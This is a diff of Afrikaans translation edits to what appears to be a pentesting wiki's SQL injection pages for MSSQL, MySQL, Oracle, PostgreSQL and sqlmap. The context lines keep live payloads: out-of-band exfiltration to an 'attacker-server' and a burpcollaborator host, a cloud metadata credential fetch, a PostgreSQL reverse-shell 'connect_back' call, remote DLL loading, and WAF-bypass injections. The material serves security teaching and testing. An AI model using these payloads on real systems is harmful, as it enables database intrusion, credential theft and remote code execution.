 - **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Hierdie funksie sal die **gebruikersnaam van die aangeduide ID** teruggee (indien enige), in hierdie geval **0000e803** in big endian == **1000** (gewoonlik is dit die ID van die eerste gewone gebruiker ID wat geskep is). Dan kan jy jou voorstel dat jy gebruikers-ID's van 1000 tot 2000 kan brute-force en waarskynlik al die gebruikersname van die gebruikers van die domein kan kry. Byvoorbeeld deur 'n funksie soos die volgende te gebruik:
 ```python
@@ -19,7 +19,7 @@ return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
 ```
 ## **Alternatiewe Fout-gebaseerde vektore**
 
-Fout-gebaseerde SQL-inspuitings lyk tipies soos konstruksies soos `+AND+1=@@version--` en variasies gebaseer op die «OR» operator. Vrae wat sulke uitdrukkings bevat, word gewoonlik deur WAFs geblokkeer. As 'n omseiling, konkateer 'n string met die %2b karakter met die resultaat van spesifieke funksie-aanroepe wat 'n datatipe-omskakelingsfout op gesogte data veroorsaak.
+Fout-gebaseerde SQL-inbrake lyk tipies soos konstruksies soos `+AND+1=@@version--` en variasies gebaseer op die «OR» operator. Vrae wat sulke uitdrukkings bevat, word gewoonlik deur WAFs geblokkeer. As 'n omseiling, konkateer 'n string met die %2b karakter met die resultaat van spesifieke funksie-aanroepe wat 'n datatipe-omskakelingsfout op gesogte data veroorsaak.
 
 Sommige voorbeelde van sulke funksies:
 
@@ -85,7 +85,7 @@ EXEC sp_helprotect 'fn_trace_gettabe';
 ```
 ### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
 
-Gestoor prosedures soos `xp_dirtree`, hoewel nie amptelik gedokumenteer deur Microsoft nie, is deur ander aanlyn beskryf weens hul nut in netwerkbedrywighede binne MSSQL. Hierdie prosedures word dikwels gebruik in Out of Band Data exfiltrasie, soos getoon in verskeie [voorbeelde](https://www.notsosecure.com/oob-exploitation-cheatsheet/) en [pligte](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
+Gestoor prosedures soos `xp_dirtree`, hoewel nie amptelik gedokumenteer deur Microsoft nie, is deur ander aanlyn beskryf weens hul nut in netwerkbedrywighede binne MSSQL. Hierdie prosedures word dikwels gebruik in Out of Band Data exfiltrasie, soos getoon in verskeie [voorbeelde](https://www.notsosecure.com/oob-exploitation-cheatsheet/) en [plase](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
 
 Die `xp_dirtree` gestoor prosedure, byvoorbeeld, word gebruik om netwerk versoeke te maak, maar dit is beperk tot slegs TCP poort 445. Die poortnommer kan nie gewysig word nie, maar dit stel voor om van netwerk gedeeltes te lees. Die gebruik word gedemonstreer in die SQL skrip hieronder:
 ```sql
@@ -93,13 +93,13 @@ DECLARE @user varchar(100);
 SELECT @user = (SELECT user);
 EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
 ```
-Dit is opmerklik dat hierdie metode dalk nie op alle stelsels konfigurasies werk nie, soos op `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` wat op 'n `Windows Server 2016 Datacenter` met standaardinstellings loop.
+Dit is noemenswaardig dat hierdie metode dalk nie op alle stelsels konfigurasies werk nie, soos op `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` wat op 'n `Windows Server 2016 Datacenter` met standaardinstellings loop.
 
 Daarbenewens is daar alternatiewe gestoor prosedures soos `master..xp_fileexist` en `xp_subdirs` wat soortgelyke resultate kan behaal. Verdere besonderhede oor `xp_fileexist` kan gevind word in hierdie [TechNet artikel](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).
 
 ### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
 
-Dit is duidelik dat jy ook **`xp_cmdshell`** kan gebruik om iets uit te voer wat 'n **SSRF** aktiveer. Vir meer inligting **lees die relevante afdeling** op die bladsy:
+Dit is duidelik dat jy ook **`xp_cmdshell`** kan gebruik om iets uit te voer wat 'n **SSRF** ontketen. Vir meer inligting **lees die relevante afdeling** op die bladsy:
 
 {{#ref}}
 ../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
@@ -109,9 +109,9 @@ Dit is duidelik dat jy ook **`xp_cmdshell`** kan gebruik om iets uit te voer wat
 
 Die skep van 'n CLR UDF (Common Language Runtime User Defined Function), wat kode is wat in enige .NET-taal geskryf is en in 'n DLL gecompileer is, om binne MSSQL gelaai te word vir die uitvoering van pasgemaakte funksies, is 'n proses wat `dbo` toegang vereis. Dit beteken dit is gewoonlik slegs haalbaar wanneer die databasisverbinding as `sa` of met 'n Administrateur rol gemaak word.
 
-'n Visual Studio-projek en installasie-instruksies word verskaf in [hierdie Github-repositori](https://github.com/infiniteloopltd/SQLHttp) om die laai van die binêre in MSSQL as 'n CLR assembly te fasiliteer, wat die uitvoering van HTTP GET versoeke vanuit MSSQL moontlik maak.
+'n Visual Studio-projek en installasie-instruksies word verskaf in [hierdie Github-repositori](https://github.com/infiniteloopltd/SQLHttp) om die laai van die binêre in MSSQL as 'n CLR-assemblage te fasiliteer, wat die uitvoering van HTTP GET versoeke vanuit MSSQL moontlik maak.
 
-Die kern van hierdie funksionaliteit is ingekapsuleer in die `http.cs`-lêer, wat die `WebClient`-klas gebruik om 'n GET-versoek uit te voer en inhoud te verkry soos hieronder geïllustreer:
+Die kern van hierdie funksionaliteit is ingekapsuleer in die `http.cs` lêer, wat die `WebClient` klas gebruik om 'n GET versoek uit te voer en inhoud te verkry soos hieronder geïllustreer:
 ```csharp
 using System.Data.SqlTypes;
 using System.Net;
@@ -137,7 +137,7 @@ DECLARE @url varchar(max);
 SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
 SELECT dbo.http(@url);
 ```
-### **Vinige Exploitatie: Herwinning van Hele Tabelinhoud in 'n Enkele Vraag**
+### **Vinige Exploit: Herwinning van Hele Tabelinhoud in 'n Enkele Vraag**
 
 [Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
 
@@ -219,7 +219,7 @@ verwyder tabel [test]
 Can be reduced to:
 
 ```sql
-gebruik[tempdb]skep/**/tafel[test]([id]int)invoeg[test]waardes(1)select[id]van[test]verwyder/**/tafel[test]
+gebruik[tempdb]skep/**/tafel[test]([id]int)invoeg[test]waardes(1)selecteer[id]van[test]verwyder/**/tafel[test]
 ```
 
 Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

src/pentesting-web/sql-injection/mysql-injection/README.md

@@ -111,11 +111,11 @@ Wanneer gestapelde navrae toegelaat word, kan dit moontlik wees om WAF's te omse
 ```
 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
 ```
-Vir meer inligting, verwys asseblief na [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
+Vir meer inligting, verwys asseblief na [hierdie blogpos](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
 
 ### Information_schema alternatiewe
 
-Onthou dat jy in "moderne" weergawes van **MySQL** _**information_schema.tables**_ kan vervang met _**mysql.innodb_table_stats**_ of met _**sys.x$schema_flattened_keys**_ of met **sys.schema_table_statistics**
+Onthou dat jy in "moderne" weergawes van **MySQL** _**information_schema.tables**_ kan vervang met _**mysql.innodb_table_stats**_ of met _**sys.x$schema_flattened_keys**_ of met **sys.schema_table_statistics**.
 
 ### MySQLinjection sonder KOMMA'S
 
@@ -123,9 +123,9 @@ Kies 2 kolomme sonder om enige komma te gebruik ([https://security.stackexchange
 ```
 -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
 ```
-### Waarde terugkry sonder die kolomnaam
+### Herwinning waardes sonder die kolomnaam
 
-As jy op 'n stadium die naam van die tabel ken, maar nie die naam van die kolomme binne die tabel nie, kan jy probeer om te vind hoeveel kolomme daar is deur iets soos die volgende uit te voer:
+As jy op 'n stadium die naam van die tabel ken, maar nie die naam van die kolomme binne die tabel nie, kan jy probeer om te vind hoeveel kolomme daar is deur iets soos uit te voer:
 ```bash
 # When a True is returned, you have found the number of columns
 select (select "", "") = (SELECT * from demo limit 1);     # 2columns
@@ -140,7 +140,7 @@ Meer inligting in [https://medium.com/@terjanq/blind-sql-injection-without-an-in
 
 ### MySQL geskiedenis
 
-Jy kan ander uitvoerings binne die MySQL sien deur die tabel te lees: **sys.x$statement_analysis**
+Jy kan ander uitvoerings sien binne die MySQL deur die tabel te lees: **sys.x$statement_analysis**
 
 ### Weergawe alternatiewe**s**
 ```

src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md

@@ -16,9 +16,9 @@ Hierdie SSRF metode is beperk tot TCP poort 445 en laat nie poortnommer wysiging
 
 ### Remote Code Execution (RCE) via Gebruiker Gedefinieerde Funksies (UDF)
 
-MySQL databasisse bied die gebruik van Gebruiker Gedefinieerde Funksies (UDF) van eksterne biblioteeklêers aan. As hierdie biblioteke beskikbaar is binne spesifieke gidse of die stelsel se `$PATH`, kan hulle vanuit MySQL aangeroep word.
+MySQL databasisse bied die gebruik van Gebruiker Gedefinieerde Funksies (UDF) van eksterne biblioteeklêers aan. As hierdie biblioteke binne spesifieke gidse of die stelsel se `$PATH` toeganklik is, kan dit vanuit MySQL aangeroep word.
 
-Hierdie tegniek stel in staat om netwerk/HTTP versoeke deur 'n UDF uit te voer, mits verskeie voorwaardes nagekom word, insluitend skryfreëls tot die `@@plugin_dir`, `file_priv` gestel op `Y`, en `secure_file_priv` gedeaktiveer.
+Hierdie tegniek stel in staat om netwerk/HTTP versoeke deur 'n UDF uit te voer, mits verskeie voorwaardes nagekom word, insluitend skryfreëls tot die `@@plugin_dir`, `file_priv` op `Y` gestel, en `secure_file_priv` gedeaktiveer.
 
 Byvoorbeeld, die `lib_mysqludf_sys` biblioteek of ander UDF biblioteke wat HTTP versoeke moontlik maak, kan gelaai word om SSRF uit te voer. Die biblioteke moet na die bediener oorgedra word, wat bereik kan word deur die biblioteek se inhoud in hex of base64 te kodifiseer en dit dan na die toepaslike gids te skryf.
 

src/pentesting-web/sql-injection/oracle-injection.md

@@ -8,7 +8,7 @@
 
 Die gebruik van Oracle om Out of Band HTTP en DNS versoeke te doen is goed gedokumenteer, maar as 'n middel om SQL data in inspuitings te exfiltreer. Ons kan altyd hierdie tegnieke/funksies aanpas om ander SSRF/XSPA te doen.
 
-Die installering van Oracle kan regtig pynlik wees, veral as jy 'n vinnige instansie wil opstel om opdragte uit te probeer. My vriend en kollega by [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), het my na [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) verwys wat my toegelaat het om 'n instansie op 'n t2.large AWS Ubuntu masjien en Docker op te stel.
+Die installering van Oracle kan regtig pynlik wees, veral as jy 'n vinnige instansie wil opstel om opdragte uit te probeer. My vriend en kollega by [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), het my gewys op [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) wat my toegelaat het om 'n instansie op 'n t2.large AWS Ubuntu masjien en Docker op te stel.
 
 Ek het die docker opdrag met die `--network="host"` vlag gedraai sodat ek Oracle as 'n inheemse installasie met volle netwerktoegang kon naboots, vir die duur van hierdie blogpos.
 ```
@@ -37,9 +37,9 @@ Die soektog het die volgende resultate teruggegee (nie almal kan gebruik word om
 - DBMS_STREAMS_ADM
 - UTL_HTTP
 
-Hierdie ruwe soektog slaag duidelik oor pakkette soos `DBMS_LDAP` (wat die oordrag van 'n gasheernaam en poortnommer toelaat) aangesien [die dokumentasiebladsy](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) eenvoudig na 'n [ander plek](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) verwys. Daarom mag daar ander Oracle-pakkette wees wat misbruik kan word om uitgaande versoeke te maak wat ek dalk gemis het.
+Hierdie ruwe soektog slaag duidelik oor pakkette soos `DBMS_LDAP` (wat die oorgang van 'n gasheernaam en poortnommer toelaat) aangesien [die dokumentasiebladsy](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) eenvoudig na 'n [ander plek](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) verwys. Daarom mag daar ander Oracle-pakkette wees wat misbruik kan word om uitgaande versoeke te maak wat ek dalk gemis het.
 
-In elk geval, kom ons kyk na sommige van die pakkette wat ons ontdek het en hierbo gelys het.
+In elk geval, kom ons kyk na 'n paar van die pakkette wat ons ontdek het en hierbo gelys is.
 
 **DBMS_LDAP.INIT**
 
@@ -49,7 +49,7 @@ Hierdie funksie is voorheen gedokumenteer om die ekfiltrasie van data oor DNS te
 ```
 SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
 ```
-egter, aangesien die funksie 'n gasheernaam en 'n poortnommer as argumente aanvaar, kan jy dit gebruik om ook soos 'n poortskandeerder te werk.
+egter, aangesien die funksie 'n gasheernaam en 'n poortnommer as argumente aanvaar, kan jy dit gebruik om soos 'n poortskandeerder te werk.
 
 Hier is 'n paar voorbeelde
 ```
@@ -58,7 +58,7 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
 SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
 SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
 ```
-'n `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` dui aan dat die poort gesluit is terwyl 'n sessiewaarde na die poort wat oop is, dui.
+'n `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` dui aan dat die poort gesluit is terwyl 'n sessiewaarde na die poort wat oop is, verwys.
 
 **UTL_SMTP**
 

src/pentesting-web/sql-injection/postgresql-injection/README.md

@@ -7,9 +7,9 @@
 
 **Hierdie bladsy het ten doel om verskillende truuks te verduidelik wat jou kan help om 'n SQL-inspuiting wat in 'n postgresql-databasis gevind is, te benut en om die truuks aan te vul wat jy kan vind op** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
 
-## Netwerkinteraksie - Privilege Escalation, Port Scanner, NTLM-uitdaging responsontdekking & Exfiltrasie
+## Netwerkinteraksie - Privilege Escalation, Port Scanner, NTLM-uitdaging respons openbaarmaking & Exfiltrasie
 
-Die **PostgreSQL-module `dblink`** bied vermoëns om met ander PostgreSQL-instanties te verbind en TCP-verbindinge uit te voer. Hierdie funksies, gekombineer met die `COPY FROM` funksionaliteit, stel aksies soos privilege escalasie, poortskandering en NTLM-uitdaging responsvangs in staat. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk hoe om [hierdie aanvalle uit te voer](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
+Die **PostgreSQL-module `dblink`** bied vermoëns om met ander PostgreSQL-instanties te verbind en TCP-verbindinge uit te voer. Hierdie funksies, gekombineer met die `COPY FROM` funksionaliteit, stel aksies soos privilege escalasie, poortskandering en NTLM-uitdaging respons vang in staat. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk hoe om [hierdie aanvalle uit te voer](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
 
 ### **Exfiltrasie voorbeeld met dblink en groot voorwerpe**
 
@@ -65,7 +65,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
 ```
 ### Verbode aanhalings
 
-As jy nie aanhalings vir jou payload kan gebruik nie, kan jy dit omseil met `CHR` vir basiese clausules (_karakter-konkatenasie werk slegs vir basiese vrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-verklarings_):
+As jy nie aanhalings vir jou payload kan gebruik nie, kan jy dit omseil met `CHR` vir basiese klousules (_karakter-konkatenasie werk slegs vir basiese vrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-verklarings_):
 ```
 SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
 ```

src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md

@@ -2,7 +2,7 @@
 
 ### PostgreSQL Groot Voorwerpe
 
-PostgreSQL bied 'n struktuur bekend as **groot voorwerpe**, toeganklik via die `pg_largeobject` tabel, ontwerp om groot datatipe te stoor, soos beelde of PDF-dokumente. Hierdie benadering is voordelig bo die `COPY TO` funksie aangesien dit die **uitvoer van data terug na die lêerstelsel** moontlik maak, wat verseker dat 'n presiese replika van die oorspronklike lêer gehandhaaf word.
+PostgreSQL bied 'n struktuur bekend as **groot voorwerpe**, toeganklik via die `pg_largeobject` tabel, ontwerp om groot datatipe, soos beelde of PDF-dokumente, te stoor. Hierdie benadering is voordelig bo die `COPY TO` funksie aangesien dit die **uitvoer van data terug na die lêerstelsel** moontlik maak, wat verseker dat 'n presiese replika van die oorspronklike lêer gehandhaaf word.
 
 Vir **die stoor van 'n volledige lêer** binne hierdie tabel, moet 'n voorwerp in die `pg_largeobject` tabel geskep word (geïdentifiseer deur 'n LOID), gevolg deur die invoeging van datastukke, elk 2KB in grootte, in hierdie voorwerp. Dit is van kardinale belang dat hierdie stukke presies 2KB in grootte is (met die moontlike uitsondering van die laaste stuk) om te verseker dat die uitvoerfunksie korrek werk.
 
@@ -60,6 +60,6 @@ select lo_unlink(173454);  -- Deletes the specified large object
 ```
 ### Beperkings
 
-Daar word opgemerk dat **groot voorwerpe ACL's** (Toegangsbeheerlisensies) mag hê, wat moontlik toegang beperk selfs tot voorwerpe wat deur jou gebruiker geskep is. egter, ouer voorwerpe met toegeeflike ACL's mag steeds toeganklik wees vir inhoudsuitvoer. 
+Daar word opgemerk dat **groot voorwerpe moontlik ACL's** (Toegangsbeheerlisensies) het, wat toegang kan beperk selfs tot voorwerpe wat deur jou gebruiker geskep is. egter, ouer voorwerpe met toegeeflike ACL's mag steeds toeganklik wees vir inhoudsuitvoer. 
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md

@@ -4,7 +4,7 @@
 
 **Vind** [**meer inligting oor hierdie aanvalle in die oorspronklike dokument**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).
 
-Sedert **PostgreSQL 9.1** is die installasie van addisionele modules eenvoudig. [Geregistreerde uitbreidings soos `dblink`](https://www.postgresql.org/docs/current/contrib.html) kan geïnstalleer word met [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
+Sedert **PostgreSQL 9.1** is die installasie van bykomende modules eenvoudig. [Geregistreerde uitbreidings soos `dblink`](https://www.postgresql.org/docs/current/contrib.html) kan geïnstalleer word met [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
 ```sql
 CREATE EXTENSION dblink;
 ```

src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md

@@ -4,7 +4,7 @@
 
 ## PostgreSQL Uitbreidings
 
-PostgreSQL is ontwikkel met uitbreidbaarheid as 'n kernfunksie, wat dit toelaat om uitbreidings naatloos te integreer asof dit ingeboude funksies is. Hierdie uitbreidings, wat essensieel biblioteke in C geskryf is, verryk die databasis met bykomende funksies, operateurs of tipes.
+PostgreSQL is ontwikkel met uitbreidbaarheid as 'n kernfunksie, wat dit moontlik maak om uitbreidings naatloos te integreer asof dit ingeboude funksies is. Hierdie uitbreidings, wat essensieel biblioteke in C geskryf is, verryk die databasis met bykomende funksies, operateurs of tipes.
 
 Vanaf weergawe 8.1 is 'n spesifieke vereiste op die uitbreidingsbiblioteke opgelê: hulle moet saamgekompileer word met 'n spesiale kop. Sonder dit sal PostgreSQL hulle nie uitvoer nie, wat verseker dat slegs kompatible en potensieel veilige uitbreidings gebruik word.
 
@@ -90,7 +90,7 @@ Kry die PsotgreSQL weergawe met:
 SELECT version();
 PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
 ```
-Vir kompatibiliteit is dit noodsaaklik dat die hoof weergawes ooreenstem. Daarom moet die saamstel van 'n biblioteek met enige weergawe binne die 9.6.x reeks suksesvolle integrasie verseker.
+Vir kompatibiliteit is dit noodsaaklik dat die hoofweergawes ooreenstem. Daarom moet die saamstel van 'n biblioteek met enige weergawe binne die 9.6.x-reeks suksesvolle integrasie verseker.
 
 Om daardie weergawe in jou stelsel te installeer:
 ```bash
@@ -162,11 +162,11 @@ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
 PG_RETURN_VOID();
 }
 ```
-U kan die DLL wat saamgepers is in hierdie zip vind:
+Jy kan die DLL wat saamgekompileer is in hierdie zip vind:
 
 {% file src="../../../images/pgsql_exec.zip" %}
 
-U kan aan hierdie DLL **watter binêre om uit te voer** en die aantal keer om dit uit te voer, aandui; in hierdie voorbeeld sal dit `calc.exe` 2 keer uitvoer:
+Jy kan aan hierdie DLL **watter binêre om uit te voer** en die aantal keer om dit uit te voer, aandui; in hierdie voorbeeld sal dit `calc.exe` 2 keer uitvoer:
 ```bash
 CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
 SELECT remote_exec('calc.exe', 2);
@@ -258,21 +258,21 @@ Die [PolyUDF projek](https://github.com/rop-la/PolyUDF) is ook 'n goeie beginpun
 
 ### RCE in die nuutste PostgreSQL weergawes
 
-In die **nuutste weergawes** van PostgreSQL is daar beperkings opgelê waar die `superuser` **verbied** word om **gesamentlike biblioteek** lêers te **laai** behalwe uit spesifieke gidse, soos `C:\Program Files\PostgreSQL\11\lib` op Windows of `/var/lib/postgresql/11/lib` op \*nix stelsels. Hierdie gidse is **beveilig** teen skryfbewerkings deur óf die NETWORK_SERVICE óf postgres rekeninge.
+In die **nuutste weergawes** van PostgreSQL is daar beperkings opgelê waar die `superuser` **verbied** word om **gesamentlike biblioteek** lêers te **laai** behalwe uit spesifieke gidse, soos `C:\Program Files\PostgreSQL\11\lib` op Windows of `/var/lib/postgresql/11/lib` op \*nix stelsels. Hierdie gidse is **beveilig** teen skryfoperasies deur óf die NETWORK_SERVICE óf postgres rekeninge.
 
-Ten spyte van hierdie beperkings, is dit moontlik vir 'n geverifieerde databasis `superuser` om **binaire lêers** na die lêerstelsel te **skryf** deur "groot voorwerpe." Hierdie vermoë strek tot skryf binne die `C:\Program Files\PostgreSQL\11\data` gids, wat noodsaaklik is vir databasisbedrywighede soos om tabelles op te dateer of te skep.
+Ten spyte van hierdie beperkings, is dit moontlik vir 'n geverifieerde databasis `superuser` om **binaire lêers** na die lêerstelsel te **skryf** met behulp van "groot objek". Hierdie vermoë strek tot skryf binne die `C:\Program Files\PostgreSQL\11\data` gids, wat noodsaaklik is vir databasisoperasies soos om tabelles op te dateer of te skep.
 
-'n Beduidende kwesbaarheid ontstaan uit die `CREATE FUNCTION` opdrag, wat **toelaat dat gidse deurgegaan** word in die datagids. Gevolglik kan 'n geverifieerde aanvaller hierdie **deurgang benut** om 'n gesamentlike biblioteek lêer in die datagids te skryf en dit dan **te laai**. Hierdie uitbuiting stel die aanvaller in staat om arbitrêre kode uit te voer, wat native kode-uitvoering op die stelsel bereik.
+'n Beduidende kwesbaarheid ontstaan uit die `CREATE FUNCTION` opdrag, wat **toelaat dat gidse deurgegaan** word in die datagids. Gevolglik kan 'n geverifieerde aanvaller hierdie **deurgang** benut om 'n gesamentlike biblioteek lêer in die datagids te skryf en dit dan **te laai**. Hierdie uitbuiting stel die aanvaller in staat om arbitrêre kode uit te voer, wat native kode-uitvoering op die stelsel bereik.
 
 #### Aanvalstroom
 
-Eerstens moet jy **groot voorwerpe gebruik om die dll op te laai**. Jy kan sien hoe om dit hier te doen:
+Eerstens moet jy **groot objek gebruik om die dll op te laai**. Jy kan sien hoe om dit hier te doen:
 
 {{#ref}}
 big-binary-files-upload-postgresql.md
 {{#endref}}
 
-Sodra jy die uitbreiding (met die naam poc.dll vir hierdie voorbeeld) na die datagids opgelaai het, kan jy dit laai met:
+Sodra jy die uitbreiding (met die naam van poc.dll vir hierdie voorbeeld) na die datagids opgelaai het, kan jy dit laai met:
 ```c
 create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
 select connect_back('192.168.100.54', 1234);

src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md

@@ -155,7 +155,7 @@ SELECT find_file("psql"); #Find a file
 ```
 {{#endtab}}
 
-{{#tab name="Vind uitvoerbare"}}
+{{#tab name="Vind uitvoerbare lêers"}}
 ```sql
 CREATE OR REPLACE FUNCTION findx (dir text)
 RETURNS VARCHAR(65535) stable

src/pentesting-web/sql-injection/sqlmap.md

@@ -101,7 +101,7 @@ python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "
 ```bash
 python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "
 ```
-## Help om booleaanse inspuiting te vind
+## Hulp om booleaanse inspuiting te vind
 ```bash
 # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
 sqlmap -r r.txt -p id --not-string ridiculous --batch
@@ -111,51 +111,51 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
 --tamper=name_of_the_tamper
 #In kali you can see all the tampers in /usr/share/sqlmap/tamper
 ```
-| Tamper                       | Description                                                                                                                        |
+| Tamper                       | Beskrywing                                                                                                                        |
 | :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
-| apostrophemask.py            | Vervang apostrof karakter met sy UTF-8 volle breedte teenhanger                                                                     |
+| apostrophemask.py            | Vervang apostrof karakter met sy UTF-8 volle breedte teenhanger                                                                    |
 | apostrophenullencode.py      | Vervang apostrof karakter met sy onwettige dubbele unicode teenhanger                                                              |
-| appendnullbyte.py            | Voeg geënkodeerde NULL byte karakter by die einde van die payload aan                                                                |
+| appendnullbyte.py            | Voeg geënkodeerde NULL byte karakter by aan die einde van die payload                                                               |
 | base64encode.py              | Base64 al karakters in 'n gegewe payload                                                                                            |
 | between.py                   | Vervang groter as operator \('>'\) met 'NOT BETWEEN 0 AND \#'                                                                  |
-| bluecoat.py                  | Vervang spasie karakter na SQL verklaring met 'n geldige ewekansige leë karakter. Vervang daarna karakter = met LIKE operator      |
-| chardoubleencode.py          | Dubbel url-encode al karakters in 'n gegewe payload \(nie reeds geënkodeer nie\)                                                  |
+| bluecoat.py                  | Vervang spasie karakter na SQL verklaring met 'n geldige ewekansige leë karakter. Daarna vervang karakter = met LIKE operator      |
+| chardoubleencode.py          | Dubbel url-encode al karakters in 'n gegewe payload \(nie reeds geënkodeerde verwerk\)                                            |
 | commalesslimit.py            | Vervang voorbeelde soos 'LIMIT M, N' met 'LIMIT N OFFSET M'                                                                       |
 | commalessmid.py              | Vervang voorbeelde soos 'MID\(A, B, C\)' met 'MID\(A FROM B FOR C\)'                                                              |
 | concat2concatws.py           | Vervang voorbeelde soos 'CONCAT\(A, B\)' met 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)'                                          |
-| charencode.py                | Url-encode al karakters in 'n gegewe payload \(nie reeds geënkodeer nie\)                                                         |
-| charunicodeencode.py         | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload \(nie reeds geënkodeer nie\). "%u0022"                         |
-| charunicodeescape.py         | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload \(nie reeds geënkodeer nie\). "\u0022"                         |
+| charencode.py                | Url-encode al karakters in 'n gegewe payload \(nie reeds geënkodeerde verwerk\)                                                   |
+| charunicodeencode.py         | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload \(nie reeds geënkodeerde verwerk\). "%u0022"                   |
+| charunicodeescape.py         | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload \(nie reeds geënkodeerde verwerk\). "\u0022"                   |
 | equaltolike.py               | Vervang al voorkomste van operator gelyk \('='\) met operator 'LIKE'                                                               |
-| escapequotes.py              | Sluit escape aan aan aanhalings \(' en "\)                                                                                         |
-| greatest.py                  | Vervang groter as operator \('>'\) met 'GREATEST' teenhanger                                                                   |
-| halfversionedmorekeywords.py | Voeg 'n weergawe MySQL kommentaar voor elke sleutelwoord by                                                                         |
+| escapequotes.py              | Slas escape aanhalings \(' en "\)                                                                                                  |
+| greatest.py                  | Vervang groter as operator \('>'\) met 'GREATEST' teenhanger                                                                  |
+| halfversionedmorekeywords.py | Voeg 'n weergawe MySQL kommentaar voor elke sleutelwoord by                                                                          |
 | ifnull2ifisnull.py           | Vervang voorbeelde soos 'IFNULL\(A, B\)' met 'IF\(ISNULL\(A\), B, A\)'                                                            |
 | modsecurityversioned.py      | Omhels volledige navraag met weergawe kommentaar                                                                                   |
 | modsecurityzeroversioned.py  | Omhels volledige navraag met nul-weergwe kommentaar                                                                                 |
 | multiplespaces.py            | Voeg meerdere spasies rondom SQL sleutelwoorde by                                                                                   |
 | nonrecursivereplacement.py   | Vervang vooraf gedefinieerde SQL sleutelwoorde met verteenwoordigings geskik vir vervanging \(bv. .replace\("SELECT", ""\)\) filters |
 | percentage.py                | Voeg 'n persentasieteken \('%'\) voor elke karakter by                                                                              |
